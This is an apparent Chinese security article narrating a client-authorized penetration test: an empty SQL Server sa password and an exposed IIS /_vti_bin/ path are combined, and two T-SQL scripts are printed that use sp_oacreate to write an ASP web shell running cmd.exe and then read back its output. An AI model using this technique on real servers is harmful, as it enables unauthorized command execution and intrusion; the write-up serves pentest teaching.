在一次给客户做方案的设计的时候,对方提出一个要求希望我们可以实际攻击下他们的网络以验证是否真实存有漏洞,在得到客户许可以后我远程对他的网络进行了一次匿名的扫描探测,报告很快就出来了很简单SQL SERVER的管理员口令为空任何人都可以远程登陆过去连接,我还是按照惯例想利用CMDSHELL这个扩展的进程去执行一些东西才发现原来有点不一样了。
我本来想简单的利用个相成的工具去执行,可对方给我返回了错误的消息,很显然对方的管理员出于安全的考虑已经把一些比较危险的SQL SERVER下东西给禁止了。近来网络上关于SQL SERVER安全配置的文章很多,看来的确还是有点作用。我接下来尝试利用SA的管理员身份恢复xp_cmdshell结果都是不成功。
看来这次的攻击有点意思了,我翻了一些资料找了找其他相关的说明最后把我的解决方法给大家参考。
首先我在CGI的扫描探测中发现对方IIS存有危险的虚拟目录没有做删除处理比如/_vti_bin/这个目录就还存在,根据常识我可以知道这个目录对应的真实物理路径是在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\这个目录下面,好的现在我们已经知道对方站点的一个真实可用的物理路径了,想想看以前总有人说暴露物理路径不是什么危险的漏洞,其实不然现在很多漏洞都是组合在一起利用。
然后利用SQL SERVER的客户端软件连过去,执行一个比较有意思的SQL脚本:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%Set oScript =
Server.CreateObject("WSCRIPT.SHELL"):oScript.Run ("cmd.exe /c dir c:\ > c:\i0.sys ") %>'
这个脚本看意思我们知道就是在对方的服务器的目录下写一个可执行的ASP文件,然后执行里面的命令dir c:\把结果定向到C盘下的一个文件。可能有人说这个脚本比较笨我也想把它写的更好,可惜自己能力有限试了几个其他的写法都是不成功。
在SQL SERVER的查询分析器里面我们在远程执行这个脚本,成功以后我们就可以利用IE去远程的服务器上调用这个文件来执行里面的程序。
IE执行成功以后,我们再利用另外一个SQL脚本来查看结果。
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\i0.sys', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
OK,我们可以从SQL SERVER中远程看到对方服务器的C盘文件列表了,当然你还可以做很多其他的事情,比如提升你的权限等等。但是做为远程渗透服务测试来说,我们已经圆满的完成了客户的要求。
【责编:admin】
--------------------next---------------------